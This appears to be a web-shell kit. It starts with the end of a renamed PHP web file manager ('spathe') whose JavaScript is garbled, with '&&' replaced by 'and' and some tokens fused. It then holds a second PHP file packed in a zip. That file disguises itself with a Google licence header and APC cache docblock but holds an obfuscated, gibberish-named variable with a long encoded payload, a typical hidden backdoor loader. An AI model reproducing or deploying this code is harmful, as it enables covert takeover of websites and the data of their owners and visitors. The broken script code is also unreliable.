            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt and searchTxt.length > 2 and path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data and data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external('js-ace'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change();
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue and cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
                        and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue and selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue and selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue and selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

function lng($txt) {
    global $lang;

    $tr['en']['AppName']        = 'spathe';      $tr['en']['AppTitle']           = 'spathe';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['Actions']        = 'Actions';                $tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';        
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Help']           = 'Help';                   $tr['en']['Created']            = 'Created';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';              
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
    $tr['en']['Nothing selected']   = 'Nothing selected';   $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
    $tr['en']['Renamed from']       = 'Renamed from';       $tr['en']['Archive not unpacked']       = 'Archive not unpacked';
    $tr['en']['Deleted']            = 'Deleted';            $tr['en']['Archive not created']        = 'Archive not created';
    $tr['en']['Copied from']        = 'Copied from';        $tr['en']['Permissions changed']        = 'Permissions changed';
    $tr['en']['to']                 = 'to';                 $tr['en']['Saved Successfully']         = 'Saved Successfully';
    $tr['en']['not found!']         = 'not found!';         $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
    $tr['en']['Archive']            = 'Archive';            $tr['en']['Permissions not changed']    = 'Permissions not changed';
    $tr['en']['Select folder']      = 'Select folder';      $tr['en']['Source path not defined']    = 'Source path not defined';
    $tr['en']['already exists']     = 'already exists';     $tr['en']['Error while moving from']    = 'Error while moving from';
    $tr['en']['Create archive?']    = 'Create archive?';    $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
    $tr['en']['Archive unpacked']   = 'Archive unpacked';   $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
    $tr['en']['Root path']          = 'Root path';          $tr['en']['Error while renaming from']  = 'Error while renaming from';
    $tr['en']['File not found']     = 'File not found';     $tr['en']['Error while deleting items'] = 'Error while deleting items';
    $tr['en']['Moved from']         = 'Moved from';         $tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    $tr['en']['Advanced Search']    = 'Advanced Search';    $tr['en']['Error while copying from']    = 'Error while copying from';
    $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
    $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
    $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
    $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
    else return "$txt";
}

?>PK�Lm\�k�?�?�t7h4d-20260307210240.phpnu�[���<?php
/*
 * Copyright 2008 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */


/**
 * A persistent storage class based on the APC cache, which is not
 * really very persistent, as soon as you restart your web server
 * the storage will be wiped, however for debugging and/or speed
 * it can be useful, kinda, and cache is a lot cheaper then storage.
 *
 * @author Chris Chabot <chabotc@google.com>
 */
$���쬃���ەٯ����檱��������������ٕ��������ۅ���٨ٴ��ج٪��ۈس�ٱ�؊�������ؖ��ٯ���؇���؊��ا���؄�����સ�ױ�����ץ�إ��ױ�����౧؅�챕���ल����� = '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